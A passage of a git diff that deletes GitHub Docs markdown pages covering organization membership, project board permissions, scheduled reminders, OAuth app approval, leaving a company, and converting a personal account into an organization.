-| {% ifversion fpt or ghec %} |
-| Publish, view, or install packages | [AUTOTITLE](/packages/learn-github-packages) |
-| {% endif %} |
-| Remove themselves as collaborators on the repository | [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository) |
-
-## Further reading
-
-* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization)
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/permission-levels-for-a-project-board-owned-by-a-personal-account.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/permission-levels-for-a-project-board-owned-by-a-personal-account.md
deleted file mode 100644
index 766b541db4cc..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/permission-levels-for-a-project-board-owned-by-a-personal-account.md
+++ /dev/null
@@ -1,66 +0,0 @@
----
-title: 'Permission levels for a {% data variables.projects.projects_v1_board %} owned by a personal account'
-intro: 'A {% data variables.projects.projects_v1_board %} owned by a personal account has two permission levels: the {% data variables.projects.projects_v1_board %} owner and collaborators.'
-redirect_from:
- - /articles/permission-levels-for-user-owned-project-boards
- - /github/setting-up-and-managing-your-github-user-account/permission-levels-for-user-owned-project-boards
- - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards
- - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-project-board-owned-by-a-personal-account
-versions:
- feature: projects-v1
-topics:
- - Accounts
-shortTitle: '{% data variables.projects.projects_v1_board_caps %} permissions'
-allowTitleToDifferFromFilename: true
----
-
-{% data reusables.projects.project_boards_old %}
-
-## Permissions overview
-
-There is only one owner of a user-owned {% data variables.projects.projects_v1_board %}; this permission cannot be shared with another personal account. In addition to the owner, other people can collaborate on {% data variables.projects.projects_v1_boards %}.
-
-There are three levels of permissions for {% data variables.projects.projects_v1_board %} collaborators:
-
-{% data reusables.project-management.project-board-permissions %}
-
-## Owner and admin permissions for a user-owned {% data variables.projects.projects_v1_board %}
-
-The {% data variables.projects.projects_v1_board %} owner and collaborators with admin access have full control of the {% data variables.projects.projects_v1_board %}. In addition to all the permissions allowed by {% data variables.projects.projects_v1_board %} collaborators, a {% data variables.projects.projects_v1_board %} owner and collaborator with admin access can:
-
-* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-access-to-your-personal-accounts-project-boards)
-* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/changing-project-board-visibility)
-* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board)
-* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board)
-* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board)
-
-## Read and write permissions for a user-owned {% data variables.projects.projects_v1_board %}
-
-Collaborators with read access to a user-owned {% data variables.projects.projects_v1_board %} can:
-
-* View a {% data variables.projects.projects_v1_board %}
-* Copy a {% data variables.projects.projects_v1_board %}
-* Filter cards on a {% data variables.projects.projects_v1_board %}
-
-Collaborators with write access to a user-owned {% data variables.projects.projects_v1_board %} can:
-
-* View a {% data variables.projects.projects_v1_board %}
-* Copy a {% data variables.projects.projects_v1_board %}
-* Filter cards on a {% data variables.projects.projects_v1_board %}
-* Edit a {% data variables.projects.projects_v1_board %}
-* Link a repository to a {% data variables.projects.projects_v1_board %}
-* Configure automation for {% data variables.projects.projects_v1_boards %}
-* Copy a {% data variables.projects.projects_v1_board %}
-* Add issues and pull requests to a {% data variables.projects.projects_v1_board %}
-* Add notes to a {% data variables.projects.projects_v1_board %}
-* Track progress on your {% data variables.projects.projects_v1_board %}
-* Archive cards on a {% data variables.projects.projects_v1_board %}
-
-## {% data variables.projects.projects_v1_board_caps %} visibility
-
-You can change the {% data variables.projects.projects_v1_board %}'s visibility from private to public and back again. By default, user-owned {% data variables.projects.projects_v1_boards %} are private. For more information, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/changing-project-board-visibility).
-
-## Further reading
-
-* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-access-to-your-personal-accounts-project-boards)
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/about-organization-membership.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/about-organization-membership.md
deleted file mode 100644
index 93babd9c5224..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/about-organization-membership.md
+++ /dev/null
@@ -1,49 +0,0 @@
----
-title: About organization membership
-intro: You can become a member of an organization to collaborate with coworkers or open-source contributors across many repositories at once.
-redirect_from:
- - /articles/about-organization-membership
- - /github/setting-up-and-managing-your-github-user-account/about-organization-membership
- - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
-shortTitle: Organization membership
----
-An organization owner can invite you to join their organization as a member, billing manager, or owner. An organization owner or member with admin privileges for a repository can invite you to collaborate in one or more repositories as an outside collaborator. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization).
-
-You can access organizations you're a member of on your profile page. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/accessing-an-organization).
-
-When you accept an invitation to join an organization, the organization owners may be able to see:
-
-* Your public profile information
-* Your email address
-* If you have two-factor authorization enabled
-* Repositories you have access to within the organization, and your access level
-* Certain activity within the organization
-* Country of request origin
-* Your IP address
-
-For more information, see the [{% data variables.product.prodname_dotcom %} Privacy Statement](/free-pro-team@latest/site-policy/privacy-policies/github-privacy-statement).
-
-> [!NOTE]
-> Owners are not able to view member IP addresses in the organization's audit log. In the event of a security incident, such as an account compromise or inadvertent sharing of sensitive data, organization owners may request details of access to private repositories. The information we return may include your IP address.
-
-By default, your organization membership visibility is set to private. You can choose to publicize individual organization memberships on your profile. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership).
-
-{% ifversion fpt or ghec %}
-
-If your organization belongs to an enterprise account, you are automatically a member of the enterprise account and visible to enterprise account owners. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %}
-
-{% endif %}
-
-You can leave an organization at any time. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization).
-
-## Further reading
-
-* [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/about-organizations)
-* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations)
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/accessing-an-organization.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/accessing-an-organization.md
deleted file mode 100644
index 0091b07b3459..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/accessing-an-organization.md
+++ /dev/null
@@ -1,24 +0,0 @@
----
-title: Accessing an organization
-intro: 'To access an organization that you''re a member of, you must sign in to your personal account.'
-redirect_from:
- - /articles/error-cannot-log-in-that-account-is-an-organization
- - /articles/cannot-log-in-that-account-is-an-organization
- - /articles/how-do-i-access-my-organization-account
- - /articles/accessing-an-organization
- - /github/setting-up-and-managing-your-github-user-account/accessing-an-organization
- - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
----
-
-> [!TIP]
-> Only organization owners can see and change the account settings for an organization.
-
-{% data reusables.profile.access_org %}
-{% data reusables.user-settings.access_org %}
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/index.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/index.md
deleted file mode 100644
index 536cecc4351b..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/index.md
+++ /dev/null
@@ -1,24 +0,0 @@
----
-title: Managing your membership in organizations
-intro: 'If you''re a member of an organization, you can publicize or hide your membership, view other people''s roles, and remove yourself from the organization.'
-redirect_from:
- - /articles/managing-your-membership-in-organizations
- - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
-children:
- - /about-organization-membership
- - /accessing-an-organization
- - /viewing-peoples-roles-in-an-organization
- - /requesting-organization-approval-for-oauth-apps
- - /publicizing-or-hiding-organization-membership
- - /managing-your-scheduled-reminders
- - /removing-yourself-from-an-organization
-shortTitle: Manage organization membership
----
-
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/managing-your-scheduled-reminders.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/managing-your-scheduled-reminders.md
deleted file mode 100644
index 5af4ef321ce5..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/managing-your-scheduled-reminders.md
+++ /dev/null
@@ -1,67 +0,0 @@
----
-title: Managing your scheduled reminders
-intro: Get reminders in Slack when you or your team have pull requests waiting for review.
-versions:
- fpt: '*'
- ghec: '*'
-topics:
- - Accounts
-redirect_from:
- - /github/setting-up-and-managing-your-github-user-account/managing-your-scheduled-reminders
- - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/managing-your-scheduled-reminders
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/managing-your-scheduled-reminders
-shortTitle: Manage scheduled reminders
----
-## About scheduled reminders for users
-
-Scheduled reminders are used to make sure that users focus on the most important review requests that require their attention. Scheduled reminders for pull requests will send a message to you in Slack with open pull requests needing your review at a specified time. For example, you can setup scheduled reminders to send you a message in Slack every morning at 10 AM with pull requests needing to be reviewed by you or one of your teams.
-
-For certain events, you can also enable real-time alerts for scheduled reminders. Real-time alerts get sent to your Slack channel as soon as an important event, such as when you are assigned a review, is triggered by another user.
-
-You can set scheduled reminders for personal or team-level review requests for pull requests in organizations you are a member of. Before you can create a scheduled reminder for yourself, an organization owner must authorize your Slack workspace. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization).
-
-{% data reusables.reminders.scheduled-reminders-limitations %}
-
-## Creating scheduled reminders for your personal account
-
-{% data reusables.user-settings.access_settings %}
-{% data reusables.reminders.scheduled-reminders %}
-1. Next to the organization you'd like to schedule reminders for, click {% octicon "pencil" aria-label="Edit reminder" %}.
-
- 
-
-{% data reusables.reminders.authorize-slack %}
-{% data reusables.reminders.days-dropdown %}
-{% data reusables.reminders.times-dropdowns %}
-1. Optionally, to receive scheduled reminders for reviews you've been assigned to, select **Review requests assigned to you**.
-1. Optionally, to receive scheduled reminders for reviews assigned to a team you're a member of, select **Review requests assigned to your team**.
-{% data reusables.reminders.real-time-alerts %}
-{% data reusables.reminders.create-reminder %}
-{% data reusables.reminders.test-reminder %}
-
-## Managing scheduled reminders for your personal account
-
-{% data reusables.user-settings.access_settings %}
-{% data reusables.reminders.scheduled-reminders %}
-1. Next to the organization you'd like to edit scheduled reminders for, click {% octicon "pencil" aria-label="Edit reminder" %}.
-
- 
-
-{% data reusables.reminders.edit-page %}
-{% data reusables.reminders.update-buttons %}
-{% data reusables.reminders.test-reminder %}
-
-## Deleting scheduled reminders for your personal account
-
-{% data reusables.user-settings.access_settings %}
-{% data reusables.reminders.scheduled-reminders %}
-1. Next to the organization you'd like to delete reminders for, click {% octicon "pencil" aria-label="Edit reminder" %}.
-
- 
-
-{% data reusables.reminders.delete %}
-
-## Further reading
-
-* [AUTOTITLE](/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization)
-* [AUTOTITLE](/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team)
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md
deleted file mode 100644
index febd59177a0a..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md
+++ /dev/null
@@ -1,30 +0,0 @@
----
-title: Publicizing or hiding organization membership
-intro: 'If you''d like to tell the world which organizations you belong to, you can display the avatars of the organizations on your profile.'
-redirect_from:
- - /articles/publicizing-or-concealing-organization-membership
- - /articles/publicizing-or-hiding-organization-membership
- - /github/setting-up-and-managing-your-github-user-account/publicizing-or-hiding-organization-membership
- - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
-shortTitle: Show or hide membership
----
-
-## Changing the visibility of your organization membership
-
-{% data reusables.profile.access_org %}
-{% data reusables.user-settings.access_org %}
-{% data reusables.organizations.people %}
-1. Locate your username in the list of members. If the list is large, you can search for your username in the search box.
-1. Next to your username, select the visibility dropdown menu, then click a new visibility.
-
- * To publicize your membership, choose **Public**.
- * To hide your membership, choose **Private**.
-
- 
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md
deleted file mode 100644
index 223381e495d6..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md
+++ /dev/null
@@ -1,29 +0,0 @@
----
-title: Removing yourself from an organization
-intro: 'If you''re an outside collaborator or a member of an organization, you can leave the organization at any time.'
-redirect_from:
- - /articles/how-do-i-remove-myself-from-an-organization
- - /articles/removing-yourself-from-an-organization
- - /github/setting-up-and-managing-your-github-user-account/removing-yourself-from-an-organization
- - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
-shortTitle: Leave an organization
----
-{% ifversion fpt or ghec %}
-
-> [!WARNING]
-> If you're currently responsible for paying for {% data variables.product.github %} in your organization, removing yourself from the organization **does not** update the billing information on file for the organization. If you are currently responsible for billing, **you must** have another owner or billing manager for the organization [update the organization's payment method](/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method).
->
-> For more information, see [AUTOTITLE](/organizations/managing-organization-settings/transferring-organization-ownership).
-
-{% endif %}
-
-{% data reusables.user-settings.access_settings %}
-{% data reusables.user-settings.organizations %}
-1. Under "Organizations", next to the organization you'd like to remove yourself from, click **Leave**.
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md
deleted file mode 100644
index 58dfa736d07e..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md
+++ /dev/null
@@ -1,34 +0,0 @@
----
-title: Requesting organization approval for OAuth apps
-intro: 'Organization members and outside collaborators can request that an owner approve access to organization resources for {% data variables.product.prodname_oauth_apps %}.'
-redirect_from:
- - /articles/requesting-organization-approval-for-third-party-applications
- - /articles/requesting-organization-approval-for-your-authorized-applications
- - /articles/requesting-organization-approval-for-oauth-apps
- - /github/setting-up-and-managing-your-github-user-account/requesting-organization-approval-for-oauth-apps
- - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps
-versions:
- fpt: '*'
- ghec: '*'
-topics:
- - Accounts
-shortTitle: Request {% data variables.product.prodname_oauth_app %} approval
----
-
-## About requesting organization approval for an {% data variables.product.prodname_oauth_app %}
-
-Organization members can always request owner approval for {% data variables.product.prodname_oauth_apps %} they'd like to use, and organization owners receive a notification of pending requests. Outside collaborators can request owner approval for {% data variables.product.prodname_oauth_apps %} they'd like to use if integration access requests are enabled. For more information, see [AUTOTITLE](/organizations/managing-programmatic-access-to-your-organization/limiting-oauth-app-and-github-app-access-requests).
-
-## Requesting organization approval for an {% data variables.product.prodname_oauth_app %} you've already authorized for your personal account
-
-{% data reusables.user-settings.access_settings %}
-{% data reusables.user-settings.access_applications %}
-{% data reusables.user-settings.access_authorized_oauth_apps %}
-1. In the list of applications, click the name of the {% data variables.product.prodname_oauth_app %} you'd like to request access for.
-1. Next to the organization you'd like the {% data variables.product.prodname_oauth_app %} to access, click **Request access**.
-1. After you review the information about requesting {% data variables.product.prodname_oauth_app %} access, click **Request approval from owners**.
-
-## Further reading
-
-* [AUTOTITLE](/organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions)
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md
deleted file mode 100644
index eaf8ea73eabe..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md
+++ /dev/null
@@ -1,59 +0,0 @@
----
-title: Viewing people's roles in an organization
-intro: 'You can view a list of the people in your organization and filter by their role. For more information on organization roles, see [Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization).'
-permissions: Organization members can see people's roles in the organization.
-redirect_from:
- - /articles/viewing-people-s-roles-in-an-organization
- - /articles/viewing-peoples-roles-in-an-organization
- - /github/setting-up-and-managing-your-github-user-account/viewing-peoples-roles-in-an-organization
- - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
-shortTitle: View people in an organization
----
-
-## View organization roles
-
-{% data reusables.profile.access_org %}
-{% data reusables.user-settings.access_org %}
-{% data reusables.organizations.people %}
-1. To filter the list by role, select the **Role** dropdown menu and click a role.
-
- 
-
-{% ifversion fpt %}
-
-If your organization uses {% data variables.product.prodname_ghe_cloud %}, you can also view the enterprise owners who manage billing settings and policies for all your enterprise's organizations. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization#view-enterprise-owners-and-their-roles-in-an-organization).
-
-{% else %}
-
-## View enterprise owners and their roles in an organization
-
-If your organization is managed by an enterprise account, then you can view the enterprise owners who manage billing settings and policies for all of your enterprise's organizations. For more information about enterprise accounts, see [AUTOTITLE](/get-started/learning-about-github/types-of-github-accounts).
-
-You can also view whether an enterprise owner has a specific role in the organization. Enterprise owners can also be an organization member, any other organization role, or be un-affiliated with the organization.
-
-> [!NOTE]
-> If you're an organization owner, you can also invite an enterprise owner to have a role in the organization. If an enterprise owner accepts the invitation, a {% ifversion enterprise-licensing-language %}{% else %}seat or{% endif %} license in the organization is used from the available licenses for your enterprise. For more information about how licensing works, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner).
-
-| **Enterprise role** | **Organization role** | **Organization access or impact** |
-|----|----|----|
-| Enterprise owner | Un-affiliated or no official organization role | Cannot access organization content or repositories but manages enterprise settings and policies that impact your organization. |
-| Enterprise owner | Organization owner | Able to configure organization settings and manage access to the organization's resources through teams, etc. |
-| Enterprise owner | Organization member | Able to access organization resources and content, such as repositories, without access to the organization's settings. |
-
-To review all roles in an organization, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization). {% ifversion ghec or ghes %} An organization member can also have a custom role for a specific repository. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-custom-repository-roles-for-an-organization).{% endif %}
-
-For more information about the enterprise owner role, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner).
-
-{% data reusables.profile.access_org %}
-{% data reusables.user-settings.access_org %}
-{% data reusables.organizations.people %}
-1. In the left sidebar, under "Enterprise permissions", click **Enterprise owners**.
-
-{% endif %}
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/best-practices-for-leaving-your-company.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/best-practices-for-leaving-your-company.md
deleted file mode 100644
index 5c3c20937723..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/best-practices-for-leaving-your-company.md
+++ /dev/null
@@ -1,43 +0,0 @@
----
-title: Best practices for leaving your company
-intro: 'If you use your {% data variables.product.github %} account for both personal and work purposes, there are a few things to keep in mind when you leave your company or organization.'
-redirect_from:
- - /articles/best-practices-for-leaving-your-company
- - /github/setting-up-and-managing-your-github-user-account/best-practices-for-leaving-your-company
- - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/best-practices-for-leaving-your-company
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/best-practices-for-leaving-your-company
- - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/best-practices-for-leaving-your-company
-versions:
- fpt: '*'
- ghec: '*'
-topics:
- - Accounts
-shortTitle: Leaving your company
----
-
-Before you leave your company, make sure you update the following information in your personal account:
-
-* Unverify your company email address by [deleting it in your Email settings](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address). You can then re-add it without verifying to keep any associated commits linked to your account.
-* [Change your primary email address](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address) from your company email to your personal email.
-* [Verify your new primary email address](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address).
-* [Change your GitHub username](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/changing-your-github-username) to remove any references to your company or organization, if necessary.
-* If you've enabled two-factor (2FA) authentication for your personal account, make sure that you (not your company) control the 2FA authentication method you have configured. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication).
-
-## Leaving organizations
-
-If you've been working with repositories that belong to an organization, you'll want to [remove yourself as a member of the organization](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization). Note that if you are the organization owner, you should first [transfer ownership of the organization](/organizations/managing-organization-settings/transferring-organization-ownership) to another person.
-
-Unless you're using a {% data variables.enterprise.prodname_managed_user %}, you'll still be able to access your personal account, even after leaving the organization. For more information about {% data variables.product.prodname_emus %}, see [About {% data variables.product.prodname_emus %}]({% ifversion not ghec %}/enterprise-cloud@latest{% endif %}/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users){% ifversion not ghec %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
-
-## Removing professional associations with personal repositories
-
-If you've been collaborating professionally with another person on repositories that belong to their personal account, you'll want to [remove yourself as a collaborator](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository) from those repositories.
-
-* [Stop watching repositories](https://github.com/watching) related to your work. You won't want those notifications anymore!
-* [Transfer repositories you own](/repositories/creating-and-managing-repositories/transferring-a-repository) that others may need to continue working on after you leave.
-* [Delete forks that belong to you](/repositories/creating-and-managing-repositories/deleting-a-repository) that are related to the work you were doing. Don't worry, deleting a fork doesn't delete the upstream repository.
-* Delete local copies of your forks that may exist on your computer:
-
-```shell
-rm -rf WORK_DIRECTORY
-```
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/converting-a-user-into-an-organization.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/converting-a-user-into-an-organization.md
deleted file mode 100644
index 8d3aec2a258f..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/converting-a-user-into-an-organization.md
+++ /dev/null
@@ -1,82 +0,0 @@
----
-title: Converting a user into an organization
-redirect_from:
- - /articles/what-is-the-difference-between-create-new-organization-and-turn-account-into-an-organization
- - /articles/explaining-the-account-transformation-warning
- - /articles/converting-a-user-into-an-organization
- - /github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization
- - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization
- - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/converting-a-user-into-an-organization
-intro: You can convert your personal account into an organization. This allows more granular permissions for repositories that belong to the organization.
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
-shortTitle: User into an organization
----
-
-> [!WARNING]
-> Before converting a user into an organization, keep these points in mind.
->
-> * You will **no longer** be able to sign into the converted personal account.
-> * You will **no longer** be able to create or modify gists owned by the converted personal account.
-> * An organization **cannot** be converted back to a user.
-> * The SSH keys, OAuth tokens, job profile, reactions, and associated user information, **will not** be transferred to the organization. This is only true for the personal account that's being converted, not any of the personal account's collaborators.
-> * Any {% data variables.product.prodname_github_apps %} installed on the converted personal account will be uninstalled.
-> * Any commits made with the converted personal account **will no longer be linked** to that account. The commits themselves **will** remain intact.
-> * Any existing comments made by the converted personal account **will no longer be linked** to that account. The comments themselves **will** remain intact, but will be associated with the `ghost` user.
-> * Any forks of private repositories made with the converted personal account will be deleted.
-> * Since organizations cannot star repositories, you will no longer have access to your original list of starred repositories.
-> * You will no longer have access to the list of users you were following from your user account.
-> * Any followers of your user account will not automatically follow the new organization.
-> * Any existing collaborators on your projects will still have access to those projects in the new organization.
-> * {% data variables.product.prodname_actions %} is not automatically enabled on the account after converting it to an organization, and will have to be re-enabled. To re-enable {% data variables.product.prodname_actions %}, create a new workflow file in the `.github/workflows` directory of your repository.
-
-## Prerequisites
-
-The personal account you want to convert cannot be a member of any organizations. If the personal account you want to convert is a member of an organization, you must leave the organization before you can convert the account.
-
-{% ifversion ghes %}
-You may not be able to convert a personal account into an organization, if an enterprise owner has set a policy at the enterprise level. See, [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations).
-{% endif %}
-
-## Keep your personal account and create a new organization manually
-
-If you want your organization to have the same name that you are currently using for your personal account, or if you want to keep your personal account's information intact, then you must create a new organization and transfer your repositories to it instead of converting your personal account into an organization.
-
-1. To retain your current personal account name for your personal use, [change the name of your personal account](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/changing-your-github-username) to something new and wonderful.
-1. [Create a new organization](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch) with the original name of your personal account.
-1. [Transfer your repositories](/repositories/creating-and-managing-repositories/transferring-a-repository) to your new organization account.
-
-## Convert your personal account into an organization automatically
-
-You can also convert your personal account directly into an organization. Converting your account:
-* Preserves the repositories as they are without the need to transfer them to another account manually
-* Automatically invites collaborators to teams with permissions equivalent to what they had before
-{%- ifversion fpt or ghec %}
-* For personal accounts on {% data variables.product.prodname_pro %}, automatically transitions billing to [the paid {% data variables.product.prodname_team %}](/billing/managing-the-plan-for-your-github-account/about-billing-for-plans) without the need to re-enter payment information, adjust your billing cycle, or double pay at any time
-{%- endif %}
-
-When you convert a personal account into an organization, we'll add collaborators on repositories that belong to the account to the new organization as outside collaborators. You can then invite outside collaborators to become members of your new organization if you wish. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators).
-
-1. Create a new personal account, which you'll use to sign into GitHub and access the organization and your repositories after you convert.
